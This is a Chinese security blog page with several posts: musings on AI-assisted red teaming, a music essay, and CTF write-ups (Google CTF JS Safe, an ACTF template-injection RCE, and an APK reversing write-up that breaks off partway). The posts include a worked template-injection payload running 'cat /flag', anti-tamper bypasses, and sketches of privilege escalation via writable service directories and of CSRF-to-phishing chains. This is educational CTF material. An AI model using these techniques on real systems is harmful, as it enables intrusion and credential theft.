萦梦sora的安全Blog

当审计能力在 AI 面前贬值：认知上限、攻击面重构与新红队的思考

Fri, 12 Jun 2026 00:00:00 GMT

当审计能力在 AI 面前贬值：认知上限、攻击面重构与新红队的“非对称对抗”

写一下最近有关AI攻击的思考

因为在AI能力普遍突出的现在，攻击面一直是绕不开的

传统红队也需要进行一定的转型

审计能力在贬值，但是攻击面的思考我认为基础是极其重要的

AI一直会给出解法，但是AI的主人也决定了AI协助攻击的上限

我想，小登是很多时候没法注意到很小的影响产出的大攻击面的，即便他们AI用的很6

举个例子，有非常多看似是AI幻觉出的洞，但是确实厂商的默认策略或者不够严重

在没法直接打Nday的情况下，我认为目前最好的组合策略就是社工和厂商默认策略组合

这里列个曾经发现的案例

比如说，我们拿到了目标机器的普通shell。但是有软件被装在了非C盘，

很多情况下是普通用户可写，并且机器运行的软件也很少，没有直接提权的地方

也就是没有直接系统提权和nday，

即使那样，依旧是可以直接去对于运行中的软件进行审计，

AI给出了结果，在服务启动DACL会喂给stop，会调用Localsystem，

而目录是低权限可写的，也就实现了提权

而AI一般来说，是很难想到类似于这样，又或者是更为巧妙的思路

再一个案例，在我绕过了某厂商的OCS 签名校验闸门

权限接口会返回实时的授权元组，带上该元组可以改变某机的授权状态

这样其实就有个很有意思的链子，当重新登录的时候，

又可以在权流程API上的松散CORS中埋藏指向钓鱼网站的CSRF，

等等，诸如此类

也就是联动的思路

最近一直在学习免杀也没有输出什么hh，就勉强写一些东西了

一直学习就好

真正的民谣蓝调

Sat, 06 Jun 2026 00:00:00 GMT

真正的民谣蓝调

这是依旧是一期杂谈，毕竟，直面荒诞的剧本拿着依旧是沉甸甸的

静谧，感受到的皆为静谧的色彩，

浩瀚，无边的终末，海市蜃楼

优雅的旋律，古典的哀情，古老的洋馆，名为毁灭的故事

轻快的小调，一往直前的冒险，友情与羁绊

物哀的刹那，阳光透过树影，寂灭与时间

终焉的交界地，宿命的乐章

时光荏苒，已然不再的事物

无边无垠的，无比神往的星空

埋没的传说，可叹的神话

优雅的爵士，洒脱的蓝调

可非泛泛而谈，此正是另我共鸣已久之事

我并不焦虑，或许是对于自己的盲从

以及洪流或多或少裹挟着我

让我想起，我自己的力量也是有限度的

但是，在自己对于技术的追求中，

纯粹的技术也好，功利也罢，

或多或少让其蒙上了一层灰罩

初心未改，彼岸....

或许是一直以来的路吧

这半年多，不管是什么方面，爱好，力量，观念

都让现在的我自知，我没问题

或许吧，希望那浪漫的蓝调，一直响彻在我的耳畔

如此如此，再会

生命璀璨，亦如繁星~

绕过全局原型链 Hook,CSP物理填坑与 LCG 状态劫持

Sat, 06 Jun 2026 00:00:00 GMT

绕过全局原型链 Hook,CSP物理填坑与 LCG 状态劫持

很有意思的一题逆向hh，挺对胃的

来源于google ctf 2025

源码

<!DOCTYPE html>
<!-- saved from url=(0092)https://nicolaisoeborg.github.io/ctf-writeups/2025/Google%20CTF%202025/JSSafe/js_safe_6.html -->
<html lang="zh-CN"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="Content-Security-Policy" id="c" content="script-src &#39;sha256-P8konjutLDFcT0reFzasbgQ2OTEocAZB3vWTUbDiSjM=&#39; &#39;sha256-eDP6HO9Yybh41tLimBrIRGHRqYoykeCv2OYpciXmqcY=&#39; &#39;unsafe-eval&#39;">
<title _msttexthash="25335544" _msthash="0">ASCII 旋转立方体</title>
<style>
/* Basic styling to center the animation and give it a retro feel */
body {
    display: flex;
    justify-content: center;
    align-items: center;
    min-height: 100vh;
    margin: 0;
    background-color: #1a1a1a;
    /* Dark background */
    font-family: monospace, "Courier New", Courier;
    /* Monospace font for ASCII art */
    color: #00ff00;
    /* Green text, classic terminal style */
}

pre {
    line-height: 1.0;
    /* Ensure lines are tightly packed */
    font-size: 14px;
    /* Adjust for desired size; smaller fonts allow more detail */
    padding: 20px;
    border: 1px solid #00ff00;
    border-radius: 8px;
    background-color: #0d0d0d;
    /* Slightly different dark for the pre block */
    box-shadow: 0 0 15px rgba(0, 255, 0, 0.3);
}
</style>
</head>

<body>
<pre id="cubeCanvas">h^Y8]nM7s0HgX@mN.xb.4g~e*sh=Z'8*4UGpmMr]$.ljH{Q4&amp;6r-Zew9!zzH
7im:7zzs+t &amp;5L'5wv&amp;|ssS8R7g5Sb!f42Q@xN{B{$$s{FQNMK/wD(3xLnXO
XLG-uI#'eOTS,]QrwB4DLLt+CaUEM_)Lnoe&amp;LZ~*A#][!_8gDd~^fPubXbb^
0%4s*+7']ER:az7qR6D0$A2plQs@}{z:z 3Q,+jbUS9sT8'&gt;m-uasBb$o5{6
555fF[?zR]}ie+bcZ5Nk&lt;3Zpmj7r$^X.E&amp;6C:vT;c!ES@&gt;}*)bfup:O&gt;U#j@
^7,]}oTU}[=Ln6"                              5=}&lt;^Y?ii,7('-$
ZH%aT=ws"kgLF$T                              :~mR9%OQ,w7BMdY
b}|/%67!xz&amp;|I~N                              ^,/cG8Tnq;]96wT
g%l$!0Psg2S'dn%        ##########            cXUU19V{&amp;&gt;m*;&gt;o
~Meepb"9ft"*E.D        #  #####  ####        b=&lt;V.s+m(x=:.5[
&gt;CGqx0AvnhC"jMN        #      ##########     z%#WY-v@kp;({]Z
ga+7yj:lPzD_ASb       #       # #      #     38t&gt;^J&amp;YsAa}:&gt;&gt;
&lt;D0uaBCl$H^;mj|       #      #  #      #     /KZGA7%*"^!q0/]
_@~]fU@'RMyt*Z}       #      # #       #     ~"EO9Fxo+Y(d4l4
eX,w_]lom0eNJeU       #      # #      #      0=]e+Qd+"|# Gy*
Z05Jj[jAvzKMe(Y       #      # #      #      4vN-U_xU66h7IG&lt;
: |bVI:aw4HN@o-       #      # #      #      :,)x'6p:0 @U^E3
:h5dQ%Wdj8Tkvrs      #       # #      #      H?s=%ACI,(78Z&lt;q
&gt;&amp;5XOy'ffjhS{c&amp;      #      #  #      #      &amp;eKm0L;$c&amp;wGYQx
IH;ZT/fm{C_A_:;      #      # #       #      On!M%A].7vhbiz:
lGl"LJ%M~.Sb6~)      ##########      #       OW/@)mDwW$czfAZ
az0b-_u&amp;#*^v@-[         ####  #####  #       P9n6LJiTB',j.2I
NU c6GH(ekyxHV,             ##########       [S?3Zn;p4k,YFXx
{RNy(zq]".#&gt;]C&lt;                              eQN''6H?X-oS*#R
eHG26u.HCZX!9!w                              c$P?iUku/Fw!GX,
h:r~FHyCgj'G4Y&lt;{f~:ION'^nggp,LI7t8i]{UD,DlVz/2?S"N"O64rIO#Jk
3~iv^VZYD@ltQT&lt;*h]'l7kMk!lWpT3jMDq!G(F9*PN(2%qKc-^7G owS3[Hj
R8R{HaL3x C-knoV[^LD[HZzmbyFeVo;kYgug:KK(TNpC0x&amp;&gt;zo{}SsxjDvg
V&gt;n:S;X;jkmL.C2+tf;P6,XeLoM"W7on7yw2~5Y;m_OI%&gt;&gt;!BqCuUgQT"ieb
vdRWZ@dK/9U[E4zKqz0_WnwTtBR$T&amp;BavJ}~)Kq=J{-A7+ni6dzgu:)jfI4v

Welcome to your personal JS Safe!

Usage:
- Open the page in Chrome (the only supported browser)
- Open Dev Tools and type:
- anti(debug); // Industry-leading antidebug!
- unlock("password"); // -&gt; alert(secret)
- store("new secret");
- Enjoy the unparalleled data security!!!!1
</pre>

<script id="gemini&#39;s cube">
// --- Configuration ---
const canvas = document.getElementById('cubeCanvas');
const charWidth = 60;  // Width of the ASCII canvas in characters
const charHeight = 30; // Height of the ASCII canvas in characters
const K_SCALE = Math.min(charWidth, charHeight) / 5; // Scale factor for the cube size
const rotationSpeedX = 0.02;
const rotationSpeedY = 0.015;
const frameInterval = 200;
const edgeChar = '#'; // Character used to draw edges
const vertexChar = '*'; // Character used to draw vertices (optional)
const drawVertices = false; // Set to true to draw vertices

// --- Cube Definition ---
// Vertices of a unit cube centered at (0,0,0)
const vertices = [
    { x: -1, y: -1, z: -1 }, { x: 1, y: -1, z: -1 }, { x: 1, y: 1, z: -1 }, { x: -1, y: 1, z: -1 },
    { x: -1, y: -1, z: 1 }, { x: 1, y: -1, z: 1 }, { x: 1, y: 1, z: 1 }, { x: -1, y: 1, z: 1 }
];

// Edges defined by pairs of vertex indices
const edges = [
    [0, 1], [1, 2], [2, 3], [3, 0], // Back face
    [4, 5], [5, 6], [6, 7], [7, 4], // Front face
    [0, 4], [1, 5], [2, 6], [3, 7]  // Connecting edges
];

let currentAngleX = 0;
let currentAngleY = 0;
let lastFrameTimestamp = 0;
let frameTime = 0;

// --- 3D Rotation Logic ---
function rotatePoint(point, angleX, angleY) {
    const { x: x_orig, y: y_orig, z: z_orig } = point;

    // Rotate around X-axis
    const cosX = Math.cos(angleX);
    const sinX = Math.sin(angleX);
    const y_after_X = y_orig * cosX - z_orig * sinX;
    const z_after_X = y_orig * sinX + z_orig * cosX;
    const x_after_X = x_orig;

    // Rotate around Y-axis (using results from X-rotation)
    const cosY = Math.cos(angleY);
    const sinY = Math.sin(angleY);
    const x_final = x_after_X * cosY + z_after_X * sinY;
    const z_final = -x_after_X * sinY + z_after_X * cosY;
    const y_final = y_after_X;

    return { x: x_final, y: y_final, z: z_final };
}

// --- 2D Projection Logic (Orthographic) ---
function projectPoint(point) {
    // Scale and translate to fit the ASCII grid
    const x2d = Math.round(point.x * K_SCALE + charWidth / 2);
    const y2d = Math.round(point.y * K_SCALE + charHeight / 2); // Y is often inverted in screen coords, but for ASCII art, top-left is (0,0)
    return { x: x2d, y: y2d, z: point.z }; // Keep z for potential depth sorting if needed
}

// --- ASCII Line Drawing (Bresenham's Algorithm) ---
function drawLineOnGrid(grid, x1, y1, x2, y2, char) {
    // Ensure coordinates are integers
    x1 = Math.round(x1); y1 = Math.round(y1);
    x2 = Math.round(x2); y2 = Math.round(y2);

    const dx = Math.abs(x2 - x1);
    const dy = Math.abs(y2 - y1);
    const sx = (x1 < x2) ? 1 : -1;
    const sy = (y1 < y2) ? 1 : -1;
    let err = dx - dy;

    while (true) {
        // Check bounds before drawing
        if (x1 >= 0 && x1 < charWidth && y1 >= 0 && y1 < charHeight) {
            grid[y1][x1] = char;
        }
        if ((x1 === x2) && (y1 === y2)) break; // Reached the end point
        const e2 = 2 * err;
        if (e2 > -dy) { err -= dy; x1 += sx; }
        if (e2 < dx) { err += dx; y1 += sy; }
    }
}

// --- Helper Functions ---
// Replace the spaces from the start of each line
function f(s) {
    return s.replace(/^[ ]*/mg, '');
}

// Remove emtpy lines from the start and the end
function r(s) {
    return s.replace(/^\n/, '').replace(/\n$/, '')
}

// Tagged template function to help define multiline strings
function multiline(x) {
    return f(r(x[0]));
}

// --- Main Render Loop ---
function renderFrame() {
    const background = multiline`
        h^Y8]nM7s0HgX@mN.xb.4g~e*sh=Z'8*4UGpmMr]$.ljH{Q4&6r-Zew9!zzH
        7im:7zzs+t &5L'5wv&|ssS8R7g5Sb!f42Q@xN{B{$$s{FQNMK/wD(3xLnXO
        XLG-uI#'eOTS,]QrwB4DLLt+CaUEM_)Lnoe&LZ~*A#][!_8gDd~^fPubXbb^
        0%4s*+7']ER:az7qR6D0$A2plQs@}{z:z 3Q,+jbUS9sT8'>m-uasBb$o5{6
        555fF[?zR]}ie+bcZ5Nk<3Zpmj7r$^X.E&6C:vT;c!ES@>}*)bfup:O>U#j@
        ^7,]}oTU}[=Ln6"Y^jH:?5@H]4UU4]@FE6Cw%|{UU1Q!t5=}<^Y?ii,7('-$
        ZH%aT=ws"kgLF$Th9[1UU4]@FE6Cw%|{]=6?8E9Yall^Y:~mR9%OQ,w7BMdY
        b}|/%67!xz&|I~N2hY^bgeUUWW?6H tCC@CX^Y@"/>{iB^,/cG8Tnq;]96wT
        g%l$!0Psg2S'dn%Y^]DE24<]DA=:EWV6G2=VX]=6?8E9mcXUU19V{&>m*;>o
        ~Meepb"9ft"*E.D2D51UUWH:?5@H]DE6AZlhd^YO%5NBgb=<V.s+m(x=:.5[
        >CGqx0AvnhC"jMN@AY^Za_Y|2E9]7=@@CW1YVw"Xn!"lvz%#WY-v@kp;({]Z
        ga+7yj:lPzD_ASbH]I1UU7C2>6%:>6^abcdX^YF/2f[*V38t>^J&YsAa}:>>
        <D0uaBCl$H^;mj|@AY^Z|2E9]7=@@CW1^2#7i>!X:ZeR&/KZGA7%*"^!q0/]
        _@~]fU@'RMyt*Z}H]I1UUH:?5@H]DE6A^a_XXj18'hf*;~"EO9Fxo+Y(d4l4
        eX,w_]lom0eNJeU1j>F=E:=:?6]2C8F>6?ED,_.,_.^Y$0=]e+Qd+"|# Gy*
        Z05Jj[jAvzKMe(Y=jA[2Y^]C6A=246W^/-?M-?S^8[^Y=4vN-U_xU66h7IG<
        : |bVI:aw4HN@o-Y^VVX]C6A=246W^/, .Y^>8[VVXMM1:,)x'6p:0 @U^E3
        :h5dQ%Wdj8TkvrsncdiKf H?_L5oYT_&G;SZod(CN@mviH?s=%ACI,(78Z<q
        >&5XOy'ffjhS{c&EU!,&~OYd;umr(Ya@2=PcP+Q@;vS0n&eKm0L;$c&wGYQx
        IH;ZT/fm{C_A_:;bo B7tk0.R~AU6}n<U%R[,VTsyOL_-On!M%A].7vhbiz:
        lGl"LJ%M~.Sb6~)^]CACK5i=LET=O+r894x+TiJMJhoydOW/@)mDwW$czfAZ
        az0b-_u&#*^v@-[5F$rn"/4#:Zc5$Ta=fjp/7fx+),TG?P9n6LJiTB',j.2I
        NU c6GH(ekyxHV,JkwvCfhVPcnE8;(C=2}_?gwszoo^QD[S?3Zn;p4k,YFXx
        {RNy(zq]".#>]C<|+4Mn(}!/+YACj}R}XYKuc|9tLM}hseQN''6H?X-oS*#R
        eHG26u.HCZX!9!w8%St-LYmbhf2rl{"}:*J&~yZ6ALpI5c$P?iUku/Fw!GX,
        h:r~FHyCgj'G4Y<{f~:ION'^nggp,LI7t8i]{UD,DlVz/2?S"N"O64rIO#Jk
        3~iv^VZYD@ltQT<*h]'l7kMk!lWpT3jMDq!G(F9*PN(2%qKc-^7G owS3[Hj
        R8R{HaL3x C-knoV[^LD[HZzmbyFeVo;kYgug:KK(TNpC0x&>zo{}SsxjDvg
        V>n:S;X;jkmL.C2+tf;P6,XeLoM"W7on7yw2~5Y;m_OI%>>!BqCuUgQT"ieb
        vdRWZ@dK/9U[E4zKqz0_WnwTtBR$T&BavJ}~)Kq=J{-A7+ni6dzgu:)jfI4v

        Welcome to your personal JS Safe!

        Usage:
        - Open the page in Chrome (the only supported browser)
        - Open Dev Tools and type:
        - anti(debug); // Industry-leading antidebug!
        - unlock("password"); // -> alert(secret)
        - store("new secret");
        - Enjoy the unparalleled data security!!!!1
    `;
    let grid = background.split('\n').map(l => l.split(''));

    // Clear the middle part to make the cube clearly visible
    for (let i = 5; i < 25; i++) {
        for (let j = 15; j < 45; j++) {
            grid[i][j] = ' ';
        }
    }

    // Rotate and project all vertices
    const rotatedVertices = vertices.map(v => rotatePoint(v, currentAngleX, currentAngleY));
    const projectedVertices = rotatedVertices.map(v => projectPoint(v));

    // Draw vertices (optional)
    if (drawVertices) {
        projectedVertices.forEach(p => {
            if (p.x >= 0 && p.x < charWidth && p.y >= 0 && p.y < charHeight) {
                grid[p.y][p.x] = vertexChar;
            }
        });
    }

    // Draw edges
    edges.forEach(edge => {
        const p1 = projectedVertices[edge[0]];
        const p2 = projectedVertices[edge[1]];
        drawLineOnGrid(grid, p1.x, p1.y, p2.x, p2.y, edgeChar);
    });

    // Convert grid to string and update the canvas
    const content = grid.map(row => row.join('')).join('\n');
    canvas.textContent = content;
    console.clear();
    console.log(content);

    // Update angles for the next frame
    currentAngleX += rotationSpeedX;
    currentAngleY += rotationSpeedY;
    
    // Save timestamp and frame time for statistics
    frameTime = (new Date()) - lastFrameTimestamp;
    lastFrameTimestamp = +(new Date());
}

// --- Start Animation ---
setInterval(renderFrame, frameInterval);
renderFrame(); // Initial render
</script>

<script>
function anti(debug) {
window.step = 0;
window.cﾠ= true; // Countﾠstepsﾠwith debug (prototype instrumentation is separate)
window.success = false;

window.r // ROT47
 = function(s) {
    return s.toString().replace(/[\x21-\x7E]/g,c=>String.fromCharCode(33+((c.charCodeAt()-33+47)%94)));
}

window.k // ROT13 - TODO:ﾠuse thisﾠfor anﾠadditional encryption layer
ﾠ= function(s) {
    return s.toString().replace(/[a-z]/gi,c=>(c=c.charCodeAt(),String.fromCharCode((c&95)<78?c+13:c-13)));
}

window.check // Checks password
 = function() {
    Function`[0].step; if (window.step == 0 || check.toString().length !== 914) while(true) debugger; // Aﾠcooler wayﾠto eval```
    // Functionﾠuntampered,ﾠproceed to 'decryption` & check
    try {
    window.step = 0;
    [0].step;
    const flag = (window.flag||'').split('');
    let iﾠ= 1337, j = 0;
    let pool =ﾠ`?o>\`Wn0o0U0N?05o0ps}q0|mt\`ne\`us&400_pn0ss_mph_0\`5`;
    pool = r(pool).split('');
    const double = Function.call`window.stepﾠ*=ﾠ2`;ﾠ// To the debugger,ﾠthis isﾠinvisible
    while (!window.success) {
        j = ((iﾠ|| 1)* 16807 + window.step) % 2147483647;
        if (flag[0] == pool[j % pool.length] && (window.step < 1000000)) {
            iﾠ= j;
            flag.shift();
            pool.splice(j % pool.length, 1);
            renderFrame();
            double();
            if (!pool.length&&!flag.length) window.success = true;
        }
    }
    } catch(e) {}
}

function instrument() {
    f = arguments[0];
    // TODO: figure out how to get a runtime reference to the debugged function in this debug
    // condition context, so we can inspect it at runtime, in case it changes
    debug(f, "window.c && function perf(){ const l = `" + f + "`.length; window.step += l; }() // poor man's 'performance counter`");
    // Trigger a breakpoint on all checks when detecting tampering
    debug(f, "document.documentElement.outerHTML.length !== 14347");
}

function instrumentPrototype(o) {
    Object.entries(Object.getOwnPropertyDescriptors(o))
      .filter(p => p[1].value instanceof Function)
      .forEach(p => Object.defineProperty(o, p[0], {
        get: () => (step++) && p[1].value
      }));
}

function instrumentPrototypeOfPrototype(o) {
    const handler = {};
    Reflect.ownKeys(Reflect).forEach(h => handler[h] = (a,b,c) => (step++) && Reflect[h](a, b, c));
    Object.setPrototypeOf(o, new Proxy(Object.getPrototypeOf(o), handler));
}

[Array, Array.prototype, String.prototype, Math, console, Reflect].map(o =>
    Object.values(Object.getOwnPropertyDescriptors(o)).map(x => x.value || x.get).filter(x => x instanceof Function) 
).flat().concat(check, eval).forEach(instrument);
instrumentPrototype(Array.prototype);
instrumentPrototypeOfPrototype(Array.prototype);
}


function unlock(flag) {
  const match = /^CTF{([0-9a-zA-Z_@!?-]+)}$/.exec(flag);
  if (!match) return false;
  window.flag = match[1];
  check();
  if (!window.success) return;
  window.password = Array.from(window.flag).map(c => c.charCodeAt());
  const encrypted = JSON.parse(localStorage.content || '[]');
  const decrypted = encrypted.map((c,i) => c ^ password[i % password.length]).map(String.fromCharCode).join('');
  alert("JS Safe opened! Content:" + decrypted);
}

function store(secret) {
  const plaintext = Array.from(secret).map(c => c.charCodeAt());
  localStorage.content = JSON.stringify(plaintext.map((c,i) => c ^ password[i % password.length]));
}
</script>


<deepl-input-controller translate="no"><template shadowrootmode="open"><link rel="stylesheet" href="chrome-extension://fancfknaplihpclbhbpclnmmjcjanbaf/build/content.css"><div dir="ltr" style="visibility: initial !important;"><div class="dl-input-translation-container svelte-95aucy"><div></div></div></div></template></deepl-input-controller><div id="phraseJoinewrskdfdswerhnyikyofd" data-v-app=""><div data-v-f4d4888e="" class="xx-qy-style-dark"></div></div></body></html>

可以看到这里的js逆向极其繁琐，

第一，它上了csp头，

<meta http-equiv="Content-Security-Policy" id="c" content="script-src &#39;sha256-P8konjutLDFcT0reFzasbgQ2OTEocAZB3vWTUbDiSjM=&#39; &#39;sha256-eDP6HO9Yybh41tLimBrIRGHRqYoykeCv2OYpciXmqcY=&#39; &#39;unsafe-eval&#39;">

防止篡改，但是这里可以将其改为unsafe-line,删去哈希串，当然，因为长度的因素，这里需要将后面加空格

这样就可以绕过有关长度校验

当然，有点随笔的感觉，接着就是几个坑

<script>
function anti(debug) {
window.step = 0;
window.cﾠ= true; // Countﾠstepsﾠwith debug (prototype instrumentation is separate)
window.success = false;

window.r // ROT47
 = function(s) {
    return s.toString().replace(/[\x21-\x7E]/g,c=>String.fromCharCode(33+((c.charCodeAt()-33+47)%94)));
}

window.k // ROT13 - TODO:ﾠuse thisﾠfor anﾠadditional encryption layer
ﾠ= function(s) {
    return s.toString().replace(/[a-z]/gi,c=>(c=c.charCodeAt(),String.fromCharCode((c&95)<78?c+13:c-13)));
}

window.check // Checks password
 = function() {
    Function`[0].step; if (window.step == 0 || check.toString().length !== 914) while(true) debugger; // Aﾠcooler wayﾠto eval```
    // Functionﾠuntampered,ﾠproceed to 'decryption` & check
    try {
    window.step = 0;
    [0].step;
    const flag = (window.flag||'').split('');
    let iﾠ= 1337, j = 0;
    let pool =ﾠ`?o>\`Wn0o0U0N?05o0ps}q0|mt\`ne\`us&400_pn0ss_mph_0\`5`;
    pool = r(pool).split('');
    const double = Function.call`window.stepﾠ*=ﾠ2`;ﾠ// To the debugger,ﾠthis isﾠinvisible
    while (!window.success) {
        j = ((iﾠ|| 1)* 16807 + window.step) % 2147483647;
        if (flag[0] == pool[j % pool.length] && (window.step < 1000000)) {
            iﾠ= j;
            flag.shift();
            pool.splice(j % pool.length, 1);
            renderFrame();
            double();
            if (!pool.length&&!flag.length) window.success = true;
        }
    }
    } catch(e) {}
}

这里沿用的大量特殊字符混淆视听，其实不是空格，而是Unicode 字符 \xef\xbe\xa0

这样就有很多可以迎刃而解了

    const double = Function.call`window.stepﾠ*=ﾠ2`;ﾠ// To the debugger,ﾠthis isﾠinvisible

这一条就可以判断为扯淡了

看这里的算法

j = ((iﾠ|| 1)* 16807 + window.step) % 2147483647;

看看改原始step的逻辑，

function instrument() {
  f = arguments[0];
  // TODO: figure out how to get a runtime reference to the debugged function in this debug
  // condition context, so we can inspect it at runtime, in case it changes
  debug(f, "window.c && function perf(){ const l = `" + f + "`.length; window.step += l; }() // poor man's 'performance counter`");
  // Trigger a breakpoint on all checks when detecting tampering
  debug(f, "document.documentElement.outerHTML.length !== 14347");
}

function instrumentPrototype(o) {
  Object.entries(Object.getOwnPropertyDescriptors(o))
    .filter(p => p[1].value instanceof Function)
    .forEach(p => Object.defineProperty(o, p[0], {
      get: () => (step++) && p[1].value
    }));
}

function instrumentPrototypeOfPrototype(o) {
  const handler = {};
  Reflect.ownKeys(Reflect).forEach(h => handler[h] = (a,b,c) => (step++) && Reflect[h](a, b, c));
  Object.setPrototypeOf(o, new Proxy(Object.getPrototypeOf(o), handler));
}

[Array, Array.prototype, String.prototype, Math, console, Reflect].map(o =>
  Object.values(Object.getOwnPropertyDescriptors(o)).map(x => x.value || x.get).filter(x => x instanceof Function) 
                                                                      ).flat().concat(check, eval).forEach(instrument);
instrumentPrototype(Array.prototype);
instrumentPrototypeOfPrototype(Array.prototype);
}

这里基本堵死了js直接调试，debugger的疯狂弹干扰，原型检索，函数禁用

所以很难让我恢复出原本check函数运行状态

一旦触碰限制，真正的step++ ，那样就直接将随机数计算打乱

但是这里，我是知道它在一步步算，

这样可以通过修改js让他直接吐出来

这里还有一个拦截项，为了防止篡改

debug(f, "document.documentElement.outerHTML.length !== 14347");

这里可以改为

debug(f, "document.documentElement.outerHTML.length == 99999");

这样就永为假，不会触发修改step

接下来只要修改吐flag即可

    while (!window.success) {
        j = ((iﾠ|| 1)* 16807 + window.step) % 2147483647;
        if (flag[0] == pool[j % pool.length] && (window.step < 1000000)) {
            iﾠ= j;
            flag.shift();
            pool.splice(j % pool.length, 1);
            renderFrame();
            double();
            if (!pool.length&&!flag.length) window.success = true;
        }
    }

可以在中间加一段，因为我并未触发加step的机制，所以默认它给的flag字符都是正确的

   while (!window.success) {
        j = ((iﾠ|| 1)* 16807 + window.step) % 2147483647;     
            iﾠ= j;
            let split = pool[j % pool.length]
            answer += split
            flag.shift();
            pool.splice(j % pool.length, 1);
            renderFrame();
            double();
            if (!pool.length){
              console.log(answer)
            }
            if (!pool.length&&!flag.length) window.success = true;        
    }

如此如此

自定义模板引擎的 RCE 绕过：从嵌套变量到 strrot “特洛伊木马”

Wed, 03 Jun 2026 00:00:00 GMT

自定义模板引擎的 RCE 绕过：从嵌套变量到 strrot “特洛伊木马”

工整一些，主要是想探讨一下一个有趣的替换模板问题，也就是嵌套正则导致的绕过，来源于ACTF

templateCommandRE = regexp.MustCompile(`(?is)<\\.*?/>`)
templateVarRE = regexp.MustCompile(`(?is)%(.*)%`)
templateFuncRE = regexp.MustCompile(`(?is)^<\\\s*?(([a-z0-9_]+)\('([^']*?)'\);\s*?(unsafe)?\s*?)\s*?/>$`)
quotedCommandRE = regexp.MustCompile(`(?is)^<\\(\s*?('[^']*?')*?\s*?)*?/>$`)

在我看来有点像贪婪和非贪婪的解析错位导致的逃逸

func parseTemplateString(input string, vars map[string]string) (string, error) {
    out := input
    for i := 0; i < 100; i++ {
        cmd := templateCommandRE.FindString(out)
        if cmd == "" {
            return out, nil
        }
        replacement, err := commandHandler(cmd, vars)
        if err != nil {
            return "", err
        }
        out = strings.ReplaceAll(out, cmd, replacement)
    }
    return "", errors.New("template recursion limit exceeded")
}

func commandHandler(cmd string, vars map[string]string) (string, error) {
    handled := cmd
    if matches := templateVarRE.FindStringSubmatch(cmd); matches != nil {
        name := matches[1]
        handled = strings.ReplaceAll(handled, "%"+name+"%", "'"+getVar(name, vars)+"'")
    } else if matches := templateFuncRE.FindStringSubmatch(cmd); matches != nil {
        body := matches[1]
        funcName := strings.ToLower(matches[2])
        param := matches[3]
        unsafe := matches[4] != ""
        fn, ok := templateFuncs[funcName]
        if !ok {
            return "undefined", nil
        }
        if !unsafe && !fn.safe {
            return "", errAccessDenied
        }
        res, err := fn.call(param)
        if err != nil {
            return "", err
        }
        handled = strings.ReplaceAll(handled, body, "'"+res+"'")
    }
    if handled != cmd {
        return handled, nil
    }
    if !quotedCommandRE.MatchString(cmd) {
        return "undefined", nil
    }
    out := strings.ReplaceAll(cmd, "'", "")
    out = strings.ReplaceAll(out, `<\`, "")
    out = strings.ReplaceAll(out, `/>`, "")
    return out, nil
}

需要构造的命令需要包含unsafe才能command执行，但是这里只能控制%name%并且没法确定结构，

可以细看模板的替换规律，进模板之前都会做一次贪婪匹配

templateCommandRE = regexp.MustCompile(`(?is)<\\.*?/>`)

然后第二层就是替换%%模板，又或者传进的是函数，那就检查函数，

得益于在这开始是循环进行的，也就是

for i := 0; i < 100; i++ {

可以进行嵌套体的传入，也就是说，第一步会消去%%化为''并且将模板原封不动传入，这里是贪婪匹配，在最后如果非函数格式，又会对消除' '

并且上述的

"strrot": {
        safe: true,
        call: func(value string) (string, error) { return strrot(value), nil },
    },

函数可以原封不动return字符串，

name = "<<%n1%"
n1 = "%n2%"
n2 =r"\\%n3%"
n3 = "%n4%"
n4 = "strrot(%"

这样嵌套体进行上传，数次%%替换就是

<\ '<<''\\''strrot(%''''' />

这样并非函数在检查到非%%和函数的情况下

消除对称的' '后就是

<\<<\\strrot(% />

再消除<\ />后就成了

<\strrot(%，

紧接着就进入了新一轮匹配

这样就是贪婪匹配了，接下来的模板，直到下一个>，因为gin对于变量名很宽松

这样就可以构造出很长的变量名，而所以说

<\strrot(%xxxx\>

中间的xxxx可以进行任意替换，

并且strrot函数可以原封不动返回，看到这我想，妙哉~~

如此再利用%%替换为''可以直接替换为函数体，但是怎么插入拼接需要的执行体呢

编码，是的，strrot函数会返回解码内容，

ROT47("/><\run('cat /flag');unsafe/>")

于是变成了

<\strrot('<rotated_payload>'); />

然后整个结构体就变成了

<\/><\run('cat /flag');unsafe/>/>

最开始的非贪婪匹配又会将空的</>删去，

紧接着匹配的就是

<\run('cat /flag');unsafe/>

如此一来就可以对于模板的限制进行逃逸了，好困，bye

御网杯2026 writeup

Mon, 01 Jun 2026 00:00:00 GMT

御网杯2026 writeup

Reverse

(一) CrackMe_1_3.apk

1. 文件格式分析

拿到题目，是个 APK 文件。用 JEB 定位主函数 MainActivity，发现校验逻辑藏在 Native 层的 libmyapplication.so 库（这里基本是干扰项）。

libmyapplication.so 定义了 4 个校验方法，分别调用不同的 Native 函数：

a() → NativeBridge.c()

aaa() → NativeBridge.cd()

bbbb() → NativeBridge.dc()

bc() → NativeBridge.ab()

这里的 abc 函数基本都是干扰项，只有 this.binding.btnVerify.setOnClickListener((View v) -> this.a(v)); 是真正的校验。

2. 静态分析

解压 APK 文件，提取 SO 库，然后拖入 IDA 中静态分析。

在导出表里能看到：

Java_com_cr_myapplication_MainActivity_stringFromJNI（@0x24a00）：反编译发现只是返回 "Hello from C++"，属于干扰项。

JNI_OnLoad（@0x24f80）：真正的入口。

跟进 JNI_OnLoad → 调用 sub_25070 ：

Class = FindClass(env, "com/cr/myapplication/NativeBridge");
RegisterNatives(env, Class, off_57214, 3); // 注册 3 个方法

读取 off_57214 这个 JNINativeMethod[3]（每项 3 个指针）：

name	signature	fnPtr
a	`([B)[B`	0x25110
b	`([B)[B`	0x25250
c	`(Ljava/lang/String;)Z`	0x25390

根据签名 (Ljava/lang/String;)Z（String → boolean），可以确定 c 就是校验函数。

StringUTFChars = GetStringUTFChars(input); // 取输入字符串
// build std::string obj(StringUTFChars);
// data = obj.c_str(); len = obj.size();
sub_257A0(obj_1, data, len); // ★核心变换：返回字节数组
sub_27590(obj_2, obj_1); // 把字节数组转成 hex 字符串
for (i = 0; i < 8; i++) // sub_27750() 恒返回 8
    if (sub_27760(obj_2, &string_array[i])) // 与第 i 个目标串比较
        return 1; // 命中任一即通过
return 0;

sub_27590 是 bytes → hex：查表 byte_F371 = "0123456789abcdef"（小写），每字节 push_back(table[b>>4]); push_back(table[b&0xF]) 。

sub_27760 是字符串比较。

目标是个 std::array<std::string,8>，地址为 0x5A1CC 。

3. 核心变换 ChaCha20

